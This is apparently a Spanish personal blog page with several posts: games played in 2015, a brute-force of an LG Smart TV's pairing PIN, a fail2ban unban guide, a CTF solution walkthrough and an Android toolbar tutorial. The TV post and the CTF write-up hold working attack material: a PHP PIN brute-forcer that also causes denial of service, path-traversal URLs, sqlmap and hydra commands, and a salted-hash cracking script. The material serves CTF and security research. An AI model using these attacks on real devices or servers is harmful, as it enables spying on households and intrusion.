#FelizDiaGamer Lo que he jugado en 2015

#DiaGamer #FelizDiaGamer #DiaDelGamer

El tiempo pasa volando, recuerdo como si hubiera escrito ayer el post que escribí el año pasado donde hablaba acerca de los videojuegos que jugaba durante mi tiempo de estudiante y en mis ratos libres.

Pues este año ya termine mis estudios universitarios :) y actualmente soy consultor de seguridad informática (yeiii), ya dedicándome de tiempo completo a la vida de profesionista uno pensaría que tiene mas oportunidad para jugar videojuegos, pero la verdad es que no XD, el tiempo de ocio que tengo es bastante limitado, puesto que tengo mis responsabilidades como consultor y a parte tengo mis propios clientes a los que les desarrollo software, sin embargo con todas estas responsabilidades me las he arreglado para dedicarle algo de tiempo a los videojuegos.

The Last of Us

the-last-of-us-remastered

Este año como explicaba en uno de mis post anteriores salí un poco del mundo del pc master race y me compre un ps4 y una pantalla de 55 pulgadas, lo que me permitió jugar varios títulos épicos de esta consola, The Last of Us fue sin duda un juego que me marco, una obra maestra en mi opinión. La combinación de horror, acción, narrativa, soundtrack y sobre todo la historia fue algo que me mantuvo atrapado durante meses (tarde un par de meses en terminarlo), pocos videojuegos en mi vida me han dejado con una necesidad de querer mas y mas, buscar mas y mas, terminar el juego e ir inmediatamente a los foros para participar en las discusiones de los fans, descargar soundtracks / fanArt, y en general querer saber todo en detalle de su universo.


Para que sientan los feels

The Witcher 3: Wild Hunt

witcher3_en_wallpaper_wallpaper_4_1920x1080_1433245801

The Witcher 3, un juego que salió en la primavera de este año, aun no lo termino pero con lo que llevo hasta el momento puedo decir que valió cada peso que invertí en el. En algún momento llegue a jugar The Witcher 1 (recuerdo que hubo un paquete en steam donde podías adquirir el 1 y el 2 por menos de 10 usd), así que cuando anunciaron The Witcher 3 mis amigos y yo nos emocionamos y todos lo compramos para empezarlo a la par, creo que soy el único que no lo ha terminado, pero hasta el momento me ha gustado bastante la historia, el estilo de combate, los personajes y el mini juego de cartas Gwent.

Counter Strike: Global Offensive

csgo

Regresando un poco al terreno de los juegos para PC uno de los videojuegos multiplayer que he jugado bastante este año es CS:GO, Counter Strike es uno de esos shooters que juegas por que tus demás amigos lo juegan y termina siendo divertido, es uno de esos juegos donde al jugar tu primera partida eres tan malo que terminas 0/20/0 (K/D/A), pero conforme vas practicando mas y mas tu score va mejorando y vas agarrando el mismo nivel de vicio que aquellos jugadores que llevan meses o años jugando. Como en la gran mayoría de estos juegos, CS tiene su modo de juego casual y competitivo, así que si estas en busca de verdaderos retos en el modo competitivo te enfrentaras a jugadores que pueden atinarte un headshot con la Desert Eagle a los 5 segundos de iniciada la partida.

La saga Mass Effect (1,2 y 3)

masseffect_all_lr2

Que puedo decir… una de las mejores sagas que he jugado jamás, acción, aventura, romance, etc. Mass Effect es uno de esos juegos que te marca por su historia y narrativa pues el destino de toda la galaxia esta sobre tus hombros!

En lo personal me agradan bastante los juegos donde tienes que tomar decisiones que tiene consecuencias inmediatas o a largo plazo, y lo mejor de esta saga es que las decisiones que tomes por ejemplo en Mass Effect 1, afectan la historia del Mass Effect 2 y asi sucesivamente.

Mass Effect es un juego con una inmersión tan fuerte que te hace desarrollar empatía y cariño hacia los personajes (aun recuerdo el intro de Mass Effect 2 o.o), durante la historia tendrás que tomar decisiones realmente difíciles que te harán meditar y preguntarte si lo que estas haciendo y el camino que estas tomando es el correcto, durante el juego te enfrentas con dilemas morales muy fuertes que en mi opinión podrían ser mucho mejores casos éticos que cualquiera que haya tomado en alguna clase de la universidad XD.

Dota 2

dota-2-official

Como muchos saben mi MOBA favorito es League of Legends, y como ya lo describí en el post de gaming del año pasado no veo razón para hablar de el de nuevo, por el contrario este año empecé a dar un poco mas de atención a DOTA 2, estuve atentó a su evento “The International” y lo he jugado mas seguido con mis amigos, creo que mi héroe favorito es Storm Spirit, después de ver como lo usaban durante el torneo me he decidido a masterizarlo :)

Heroes Of The Storm

Digc1RgXjF7p.878x0.Z-Z96KYq

Este MOBA lo conocí desde que salió, pero realmente nunca me llamo la atención, hasta que descubrí que mis demás amigos @calderpwn @_hkm @lightOS en la empresa de seguridad informática con la que trabajo lo jugaban XD, un día me invitaron a jugar con ellos y vi que era bastante divertido, ha diferencia de otros MOBAS que había jugado antes, este tenia la particularidad de que es 100% orientado al trabajo en equipo, durante la partida hay una serie de Quest o objetivos que tienes que cumplir, lograr un objetivo le da a tu equipo una ventaja muy grande, por lo que entre mas objetivos cumplas a lo largo de la partida será mas fácil ganarle al equipo contrario.

Touhou Project

474104__remilia-flandre-scarlet_p

La saga Touhou Project cuenta con mas de 20 juegos tipo arcade, desde bullet shooters hasta fighters, todos desarrolladores por una misma persona, un desarrollador que se hace llamar ZUN del Team Shanghai Alice. Descubrí por casualidad acerca de Touhou Project en una lista de reproducción de Youtube, cuando lo vi por primera vez pensé “parece divertido y la música es bastante buena” así que me empecé a meter en el universo, sinceramente son demasiados juegos así que empecé a jugar algunos de los primeros que salieron para plataformas Windows y son bastantes entretenidos, como son juegos en japonés tuve que buscar los respectivos parche en ingles y creo que de todos los que he jugado mi favorito hasta el momento es Adventure of Scarlet Curiosity :)

Lo que sigue … Metal Gear Solid V The Phantom Pain

Captura de pantalla 2015-08-29 a la(s) 23.06.41

Esta será la siguiente saga que comenzare a jugar :), sin embargo para no ser casual antes tengo que jugar los títulos anteriores ya que nunca he jugado ningún Metal Gear Solid, amigos cercanos me recomendaron que para obtener la máxima experiencia de esta historia tendría que jugar al menos Metal Gear Solid 3: Subsistence, Metal Gear Solid: Peace Walker y Metal Gear Solid V: Ground Zeroes, solo después podría estrenar el que compre.

Creo que esto es lo mas relevante que he jugado y jugare durante este año :)

Share

Si tienes una Smart Tv de LG tu vecino puede espiar lo que estas viendo

A mediados del año pasado compre una smart tv de 55 pulgadas de la marca LG, la idea era bastante simple, videojuegos xd, también ver series y películas en alta definición con la familia. La verdad es que no tengo tanto tiempo libre como para ver tv, sin embargo estos últimos días he tenido ganas de usar mi televisión, pero no de la forma convencional :)

TV-LG-LM7600

Me puse a leer acerca de cómo funcionan las Smart Tvs, mas que nada para tener un background del tema, y vi que específicamente para este proveedor (LG) existe toda una comunidad detrás, foros, blogs, artículos y muchísimo material enfocado en el desarrollo para su plataforma webOS, pueden descargar y leer sobre la sdk en el siguiente enlace http://developer.lge.com/webOSTV/

Como muchos saben las televisiones Smart se conectan a Internet (en general los productos smart), esto significa que tienen asignada una dirección IP en nuestra red así que procedemos a realizar un escaneo de puertos utilizando nmap.

nmap -sV -p- -oA scan/scan -d 192.168.0.11

port

Viendo los logs del escaneo y leyendo el manual técnico sabemos que hay un par de servicios web corriendo en la televisión.

De acuerdo con la documentación esta pagina es una especie de api en XML para enviar comandos directamente a la televisión :). Haciendo una búsqueda rápida en Google encontramos esta fabulosa librería en PHP de Steve Winfield que nos permite comunicarnos con las televisiones https://github.com/SteveWinfield/PHP-LG-SmartTV

Lo único que necesitamos es un PIN de 6 dígitos que no conocemos, pero que podemos encontrar utilizando un ataque de fuerza bruta, que es lo que yo he hecho :). Con ayuda de este pequeño código es posible encontrar el PIN correcto de cualquier Smart Tv de LG

<?php 
include 'PHP-LG-SmartTV/smartTV.php';
$tv = new SmartTV('192.168.0.11',8080);
$code = 100000;
while(true) {
	$response = testCode($tv,$code);
	if($response) {
		print "The pairing key is: " . $code . "\n";
		break;
	}
	print "Wrong key: " . $code . "\n"; 
	$code++;
}
function testCode($tv,$code) {
	$tv->setPairingKey($code);
	try {
		$tv->authenticate();
		return true;
	} catch (Exception $e) {
		return false;
	}
}
?>

Después de unos minutos tenemos el PIN (pairing key)

bruteforce

En esta etapa del experimento descubrí cosas interesantes

  • Durante el ataque de fuerza bruta, al inicio de cada negociación de autenticación en la pantalla de la televisión aparece el PIN de 6 dígitos (dura menos de 1 segundo y después desaparece por que estamos intentando cientos de veces cada segundo), esto es así por que se supone que tenemos acceso físico a la pantalla, ósea estamos en la misma habitación, y debemos de copiarlo para usarlo con la librería.
  • Si realizamos suficientes peticiones en un segundo esto ocasionara un ataque de denegación de servicios a la televisión! El control remoto deja de funcionar y básicamente no podemos hacer nada, la única forma de apagar la tv es desconectarla directamente de la toma de corriente.

bruteforce

Así que ya saben, si notan un comportamiento de este tipo significa que alguien en su red esta tratando de hackear su televisión :p

Tener el PIN de autenticación de la televisión significa que básicamente podemos controlarla como si tuviéramos en control en nuestras manos, podemos apagarla, cambiar de canal, subir volumen, bajar volumen, programar despertador, por mencionar algunos ejemplos.

Sin embargo creo que el comando mas interesante de todos es TV_INFO_SCREEN, y por el que la mayoría de ustedes esta aquí, TV_INFO_SCREEN nos permite tomar una captura de pantalla de lo que sea que se esta reproduciendo en la televisión, con ayuda de JavaScript y un poco de Ajax se puede hacer una pequeña interfaz web para visualizar las imagenes de una forma mas “cómoda”.

test

Resumiendo

  • Los servicios web que corren las televisiones se ejecutan en puertos bien conocidos y no hay forma de cambiarlos (al menos no he encontrado como todavía)
  • Un atacante remoto puede realizar ataques de fuerza bruta para obtener el PIN de 6 dígitos
  • Un atacante remoto puede ocasionar un ataque de denegación de servicios a la televisión
  • Un atacante remoto puede obtener capturas de pantalla de lo que estamos viendo

Continuare haciendo mas investigación en esta area a ver que encuentro :)
Happy hacking

Share

Desbanear IPs en fail2ban de forma correcta

Este post es más un recordatorio para mí pero sigue siendo un buen material de consulta para sysadmins.

Fail2ban es una herramienta bastante popular entre administradores de sistemas ya que nos permite añadir una capa de seguridad extra a nuestro servidor, viene con algunas reglas de seguridad pre configuradas para proteger servicios como ssh y apache, sin embargo es lo suficientemente flexible y fácil de utilizar para que nosotros creemos y agreguemos todas las que necesitemos, pero bueno este tutorial no es acerca de cómo crear esas reglas sino de cómo desbanear ciertas IPs que hayamos baneado por equivocación.

En el mejor de los casos

fail2ban utiliza la utilidad iptables, lo primero que haremos será encontrar que tipo de restricción se le aplico a la ip baneada

# iptables -L -n | less

2

Como podemos ver, la ip afectada es 187.240.213.48 y está dentro del JAIL fail2ban-ssh o simplemente ssh (quiten le la parte de fail2ban-*), fail2ban utiliza un sistema de JAILS (jaulas / prisiones / cárceles) bastante interesante con el cual podemos agrupar ips en grupos y aplicar ciertas reglas a todas ellas al mismo tiempo, les dejo más documentación al respecto: control de jails en fail2ban

Si queremos saber el nombre de todas las JAILS que está corriendo fail2ban actualmente lo haremos con el comando

# fail2ban-client status

4

Este comando nos sirve para corroborar el nombre de la JAIL que vamos a manipular, podemos observar que tenemos muchas más ademas de ssh, por ejemplo apache, apache-myadmin, apache-overflows, etc … continuamos.

Ahora que conocemos en detalle la IP y la JAIL vamos a remover la restricción utilizando:

# fail2ban-client get ssh actionunban 187.240.213.48

Para versiones más nuevas de fail2ban, digamos 0.9.x seria:

# fail2ban-client set ssh unbanip 187.240.213.48

Y listo, con esto nos aseguramos de remover las restricciones solo a una dirección IP en específico :)

Podemos revisar si efectivamente la IP fue removida con el comando:

# iptables -L -n | grep '187.240.213.48'

Si el comando no nos regresa nada significa que no pude encontrar una coincidencia de ‘187.240.213.48’ en el output del iptables y por lo tanto la IP ya no está baneada.

En el peor de los casos

Sin embargo, si la consola les muestra algo como esto:

6

Y tienen la mala suerte de estar trabajando con un fail2ban version 0.8.6 como yo, significa que la IP no pudo ser desbaneada, haciendo un poco de investigación se trata de un bug muy nefasto popular en esta versión, intentamos remover la restricción de nuevo, esta vez utilizando el debug

# fail2ban-client -vvv get ssh actionunban 187.240.213.48

error

Ahí observamos que la falla está en los comandos que se aplican, podemos solucionar esto de dos formas, la primera es actualizando el servicio y la segunda es removiendo la dirección IP de forma manual que fue lo que yo hice, no es tan complicado :)

# IP=187.240.213.48
# cat /var/log/fail2ban.log | grep -v $IP > /tmp/fail2ban.tmp
# cp /tmp/fail2ban.tmp /var/log/fail2ban.log
# iptables -D  fail2ban-ssh -s $IP -j DROP

Revisamos de nuevo si efectivamente la IP fue removida

# iptables -L -n | grep '187.240.213.48'

Y esta vez no debería de mostrarnos nada.

salu2

Share

Solución al reto Capture The Flag de #CPMX6

dc-flag

Otro año, otro campus party al que asisto. En esta ocasión me di tiempo de asistir a varias conferencias y workshops que se impartieron durante el evento (y no solo pasármela en la zona gamer :p), además, al igual que en el evento pasado también estuve participando en el reto de seguridad que fue organizado por el Instituto Tecnológico Superior de Atlixco.

El wargame estuvo muy divertido (horas y horas de diversión) y me ayudo a conocer a mas colegas de la seguridad informática durante el evento, bueno sin mas preámbulo comienzo a explicar en que consistía cada uno de los retos y como fue que llegue a la solución.

Reto #1

Comenzando con lo básico, en el reto uno nos daban la IP donde había alojada una pagina web, la pagina tenia varias pestañas y la URL de cada una de las secciones tenia una estructura como la siguiente:

http://52.11.240.182/index.php?file=contacto.html

Jugando un poco con el parámetro file vemos que el sitio tiene una vulnerabilidad de Local File Inclusión. Utilizando la herramienta que desarrollo mi amigo @lightOS para explotar este tipo de vulnerabilidad https://github.com/lightos/Panoptic es posible automatizar el proceso y obtener archivos importantes del servidor, por ejemplo:

http://52.11.240.182/index.php?file=../../../../../../../../../../etc/apache2/envvars
http://52.11.240.182/index.php?file=../../../../../../../../../../etc/logrotate.d/apache2

ctf_cpmx_1

Sin embargo, el reto es mas sencillo que eso, en el archivo robots.txt (corrimos un dirbuster al sitio web) vimos que hay un archivo llamado dir.txt, revisando su contenido nos encontramos:

$ ls -l
html/
secreto.txt

secreto.txt, un archivo interesante, entonces aprovechamos el Local File Inclusion que teníamos y cargamos este archivo.

http://52.11.240.182/index.php?file=../secreto.txt

ctf_cpmx_2

67d71184adf4b700d5cadce0c9bfdcc7e91d01cb <- esta es la bandera del reto :)

Reto #2

El segundo reto nos daba como pista “DNS record types” junto con un dominio gcs-ibero.com, si es la primera vez que escuchan de record types en el siguiente enlace podrán encontrar mas información https://en.wikipedia.org/wiki/List_of_DNS_record_types

Entendiendo un poco mas sobre el tema comenzamos a hacer lookup a los distintos records hasta que llegamos al record TXT http://mxtoolbox.com/TXTLookup.aspx y encontramos la solución.

ctf_cpmx_3

4db055f7386c6bb8a14b5883417a4b61 <- es la bandera de este reto

Reto #3

El reto numero 3 es bastante interesante, al inicio nos dan una captura de paquetes, un archivo .pcapng que procedemos a visualizar con wireshark (si no han escuchado de el o no saben utilizarlo ahora es el momento https://www.wireshark.org/)

ctf_cpmx_4

Como podemos observar hay partes de la lectura que están cifradas (ahí se ve una negociación TLS), por suerte entre los archivos que nos daban también venia una llave privada (llave.pem) que nos servirá para descifrar esas partes. En Wireshark nos vamos al menú Edit > Preferences y en la siguiente ventana del lado derecho seleccionamos Protocol > SSL

ctf_cpmx_5

Damos clic en RSA keys list y agregamos una nueva llave, nos pedirá algunos datos como dirección IP, puerto, protocolo y la llave privada (llave.pem), haciendo un análisis de lo que teníamos anteriormente:

En la captura tenemos dos direcciones IP:

  • 192.168.15.7 (dirección local)
  • 52.27.174.204 (dirección remota a la que nos estamos comunicando)

De igual forma, viendo la captura, sabemos que la comunicación con la maquina remota fue atreves de ftp utilizando el puerto 21 (por default) por lo tanto escribimos esos datos y adjuntamos la llave privada como se muestra en la siguiente imagen.

ctf_cpmx_6

ctf_cpmx_7

Damos ok a las ventanas y Wireshark nos debería de mostrar el trafico descifrado. Para analizar mas rápido vamos a pasar la captura a un archivo de texto, File > Print. Seleccionamos Plaint Text y Output to file.

ctf_cpmx_8

Abrimos el archivo generado con nuestro editor de texto favorito y empezamos a buscar por cadenas interesantes como password, pass, secret, etc

ctf_cpmx_9

La bandera de este reto es: ZXASDF727fa2raSFP!FRA-,aSF

Reto #4

El reto cuatro era facil y consistía en un reto criptográfico, al principio nos daban una cadena de texto que parecía no tener sentido y en mi experiencia la mayoría de los retos de este tipo son cifrados caesar. Con la ayuda de google buscamos un sitio para resolver este tipo de cifrados de sustitución por desplazamiento http://www.xarg.org/tools/caesar-cipher/

Introducimos el texto cifrado y obtenemos la respuesta :)

ctf_cpmx_10

Mas sabe el diablo por viejo que por diablo <- esta es la bandera del reto

Reto #5

Tip: la bandera es el md5 del contenido del archivo zip.

El reto nos da un archivo comprimido en formato zip, que tiene la particularidad que al descomprimirlo nos genera otro archivo zip, y después otro y otro mas, parecería nunca acabar, lo primero que hice fue abrir el archivo con un editor hexadecimal solo para corroborar lo que ya sabíamos.

ctf_cpmx_11

Del lado derecho podemos ver los nombres de los archivos que se van generado: 617.zip, 293.zip, 558.zip, 689.zip, etc. (son bastantes) así que lo mas fácil es realizar un script para descomprimir todo lo que haya que descomprimir recursivamente xd, yo utilice un comando en bash.

$ while [ "`find . -type f -name '*.zip' | wc -l`" -gt 0 ]; do find -type f -name "*.zip" -exec unzip -- '{}' \; -exec rm -- '{}' \;; done

ctf_cpmx_11
Al final del ultimo Zip nos encontramos con un archivo de texto llamado flag.txt, calculamos su hash md5 y obtenemos la bandera :)

$ md5sum flag.txt
da44354d0de702b12934235a51094813 flag.txt

da44354d0de702b12934235a51094813 <- es la bandera del reto (el hash)

Reto #6

El reto 6 nos dio bastante dolor de cabeza a los participantes, a pesar de que su solución era bastante sencilla, en el reto nos daban una dirección IP y se nos pedía utilizar nmap https://nmap.org/ (para escaneo de puertos y servicios) y Hydra para realizar ataques de fuerza bruta, hubo bastante confusión puesto que a aparentemente el servidor solo tenia corriendo un servicio de ssh y fue lo que intente atacar.

El servidor ssh no soportaba autenticación mediante usuario y contraseña por lo que termine creando script en bash, python, etc y probando diferentes tipos de exploits sin éxito :(. Me di cuenta que el primer escaneo que realice no fue un barrido completo de puertos, así que volví a escanear nuevamente esta vez asegurándome de revisar todos los puertos.

$ nmap –sV –p- --version-all --max-retries 1–d IP
...
...
333/tcp open ftp vsftpd 2.0.8 or later
...
...
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Fri Jul 24 18:08:31 2015 -- 1 IP address (1 host up) scanned in 6.26 seconds

Y ahora si encontramos que en el puerto 333 había un servidor de ftp corriendo.
Empezamos a analizar el servicio, tratamos de conectarnos y vemos como responde.

Intentando conectarse con el usuario admin

$ ftp admin @ 52.26.250.230 333
Connected to 52.26.250.230.
220 Welcome to FTP service.
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Intentando conectarse con el usuario root

$ ftp root @ 52.26.250.230 333
Connected to 52.26.250.230.
220 Welcome to FTP service.
530 Permission denied.
ftp: Login failed
ftp> exit
221 Goodbye.

El usuario admin parece ser valido (vean como las respuestas son diferentes), pero no tenemos la contraseña, utilizaremos hydra y un buen diccionario, al final y después de un par de horas obtuvimos la contraseña :)

$ hydra -t 1 -l admin -P default_pass_for_services_unhash.txt -vV -s 333 52.26.250.230 ftp

ctf_cpmx_12

La bandera de esto reto era x.x: 12345678 (máximum trolling)

Reto #7

Otro reto bastante sencillo, aquí nos dan una foto y se nos pide encontrar la marca del dispositivo con el que fue tomado la fotografía.

Utilizamos cualquier extractor de metadatos online http://regex.info/exif.cgi y obtenemos que la foto fue tomada con una dispositivo Huawei

ctf_cpmx_13

La bandera del reto es: Huawei

Reto #8

En el reto 8 nos dan un archivo .iv que podemos crackear utilizando aircrack-ng, para quien no sepa aircrack es un software incluido en la distribución de seguridad Kali que sirve para crackear redes inalámbricas http://www.aircrack-ng.org/

En nuestro kali utilizamos aircrack-ng para procesar el archivo .iv del reto:

$ aircrack-ng captura.iv

ctf_cpmx_14

Y obtenemos la contraseña de la red inalámbrica que también es la solución al reto
12345 <- es la bandera de este reto

Reto #9

El ultimo reto del capture the flag consistía en explotar una vulnerabilidad de inyección SQL y obtener la contraseña en texto plano del administrador del sitio. El reto, al inicio nos presenta un sitio web con un catalogo de películas, podemos consultar las películas de un director en especifico con una URL similar a la siguiente:

http://54.68.213.190/busqueda.php?idDirector=1

Esta claro que si queremos inyectar comandos SQL tendremos que empezar por el parámetro idDirector y para hacerlo de una forma mas rápida y automática utilizaremos la herramienta sqlmap http://sqlmap.org/ que viene instalada en nuestro Kali.

$ sqlmap --url=http://54.68.213.190/busqueda.php?idDirector=1 --level=1 --risk=3 --all

ctf_cpmx_15

La herramienta nos hace un dump de la tabla de usuarios y vemos que los passwords son almacenados no en texto plano sino cifrados (probablemente en md5), también observamos que la tabla contiene un campo de salt y un valor que muy seguramente fue utilizado para calcular el hash de la contraseña.

Pues manos a la obra (o mas bien dicho, al teclado), el reto nos pide encontrar la contraseña del usuario maria (que es el administrador del sitio), podemos hacer rápidamente un script para intentar crackear el hash.

<?php 
$salt = "WDUOPALD6N";
$hash = "fa38084963f74741ea1184963fa2cd91";

$handle = fopen("pass2.txt", "r");
if ($handle) {
    while (($line = fgets($handle)) !== false) {
    	
    	$line = str_replace("\n", "", $line);

		if(md5($salt.$line) == $hash || md5($line.$salt) == $hash)
		{
			echo $line . " OK! \n";
			exit(); 
		} else {
			echo $line . ":" . md5($salt.$line) . " Nop\n";
		}   
    }

    fclose($handle);
} else {
    echo "file error \n";
} 

?>

Lo que hace nuestro script es, con la ayuda de un diccionario de 2 millones de contraseñas populares, intentar encontrar cual es el texto plano concatenado al valor salt del hash que obtenemos, para cada contraseña de nuestro diccionario calculamos

  • salt + contraseña = hash
  • Contraseña + salt = hash

Y revisamos si tenemos alguna coincidencia.

ctf_cpmx_16

Afortunadamente la contraseña en texto plano se encontraba en nuestro diccionario y la pudimos encontrar :)

La bandera del reto final era: passw0rd1 (era la contraseña numero 795975 en nuestro diccionario)

ctf_cpmx_17

Nos vemos el siguiente año.
Happy hacking :)

Share

Tutorial Material Design en Android #3

Agregando iconos (actions) al ToolBar

Hola lectores programadores :), continuamos con la serie de tutoriales de Material Design en Android, siguiendo con los post anteriores ahora toca agregar algunos elementos a nuestra Toolbar personalizada, pero primero nos encargaremos de un pequeño “bug estético”, actualmente nuestra app luce así y si hacemos tap en el icono superior derecho (3 puntos) veremos que la letra del popupMenu es apenas visible. Corrijamos eso.
popupmenu_bug

Nos vamos a nuestros ya conocidos archivos styles.xml

  • /app/src/main/res/values/styles.xml
  • /app/src/main/res/values-21/styles.xml (api 21)

Y vamos a agregar un nuevo item con nombre popupTheme, quedando de la siguiente forma

values/style.xml

<resources>

    <!-- Base application theme. -->
    <style name="AppTheme" parent="AppTheme.Base">
        <!-- Customize your theme here. -->
    </style>

    <style name="AppTheme.Base" parent="Theme.AppCompat.Light.NoActionBar">
        <item name="colorPrimary">@color/primaryColor</item>
        <item name="colorPrimaryDark">@color/primaryColorDark</item>
        <item name="colorAccent">@color/colorAccent</item>
        <item name="popupTheme">@style/Base.ThemeOverlay.AppCompat.Dark</item>
    </style>

</resources>

values-21/style.xml (api 21)

<?xml version="1.0" encoding="utf-8"?>
<resources>

    <!-- Base application theme. -->
    <style name="AppTheme" parent="AppTheme.Base">
        <item name="android:colorPrimary">@color/primaryColor</item>
        <item name="android:colorPrimaryDark">@color/primaryColorDark</item>
        <item name="android:textColorPrimary">@color/textColorPrimary</item>
        <item name="android:colorAccent">@color/colorAccent</item>
        <item name="android:popupTheme">@style/Base.ThemeOverlay.AppCompat.Dark</item>
    </style>

</resources>

Guardamos y corremos la aplicación de nuevo y ahora veremos algo como lo siguiente, ¿Mucho mejor cierto?

popupmenu_dark

Es posible personalizar aún mas este elemento del ToolBar, estos son algunos de los atributos que podemos utilizar

  • popupMenuStyle
  • textColorPrimary
  • popupAnimationStyle>
  • popupBackground

Se puede personalizar prácticamente cualquier aspecto del menú, por ejemplo:

popupmenu_custom2

Les dejo de tarea hacer su propio menú custom :) y bueno ahora que tenemos resuelta esa parte del popupMenu toca agregar los iconos, en nuestro proyecto de Android Studio, en la carpeta res (resources) dentro del apartado de menú encontramos un archivo llamado menu_main.xml (si por algún motivo no está entonces deberán crearlo /res/menu/menu_main.xml).

Como en todos los tutoriales les dejo la documentación oficial sobre los lineamientos sobre los iconos, sus dimensiones y formas aqui y aca.

Por default nuestro menú solo tiene 1 elemento como podemos ver en el siguiente código

<menu xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    tools:context="com.alevsk.materialdesignapp.MainActivity">
    <item
        android:id="@+id/action_settings"
        android:orderInCategory="100"
        android:title="@string/action_settings"
        app:showAsAction="never" />
</menu>

El elemento item tiene algunos atributos, por ejemplo app:showAsAction puede tomar tres valores:

  • never: No mostrara el icono
  • ifRoom: Si hay espacio mostrara el icono
  • always: Siempre mostrara el icono

android:title es el atributo donde definimos el nombre de la acción (si por ejemplo deciden no mostrar un icono o mostrarlo solo si hay espacio, por default el título de la acción será el que definan con este atributo).

Por el momento vamos a definir 3 acciones (conforme avance esto los remplazaremos), quedando el código del archivo menu_main.xml de la siguiente manera.

<menu xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    tools:context="com.alevsk.materialdesignapp.MainActivity">
    <item
        android:id="@+id/action_search"
        android:icon="@drawable/abc_ic_search_api_mtrl_alpha"
        android:orderInCategory="1"
        android:title="Busqueda"
        app:showAsAction="always" />
    <item
        android:id="@+id/action_copy"
        android:icon="@drawable/abc_ic_menu_copy_mtrl_am_alpha"
        android:orderInCategory="2"
        android:title="Copiar"
        app:showAsAction="always" />

    <item
        android:id="@+id/action_selectall"
        android:icon="@drawable/abc_ic_menu_selectall_mtrl_alpha"
        android:orderInCategory="3"
        android:title="Seleccionar todo"
        app:showAsAction="always" />
</menu>

Corremos la app y veremos algo como esto

toolbar_icons

¿Los iconos no son muy visibles verdad?, podemos arreglar esto rápidamente, el tema por default de nuestra aplicación es texto oscuro sobre fondos claros, esa es la razón por la que los iconos tienen un color oscuro, sin embargo podemos modificar nuestro archivo app_bar.xml e indicar que queremos que esa parte especifica de la app (ToolBar) utilice el tema de textos claros sobre fondos oscuros, así que editamos /app/src/main/res/layout/app_bar.xml y definimos el tema Holo como se muestra a continuación.

<?xml version="1.0" encoding="utf-8"?>
<android.support.v7.widget.Toolbar xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    app:theme="@style/Theme.AppCompat.NoActionBar"
    android:layout_height="wrap_content"
    android:background="@color/primaryColor">

</android.support.v7.widget.Toolbar>

toolbar_icons3

Eso es todo por ahora, en el siguiente tutorial vamos a definir de que va a tratar nuestra app y aprenderemos a implementar desde cero unos de los elementos más poderosos de Android, el NavigationDrawer :) salu2

Related Posts Plugin for WordPress, Blogger...

Share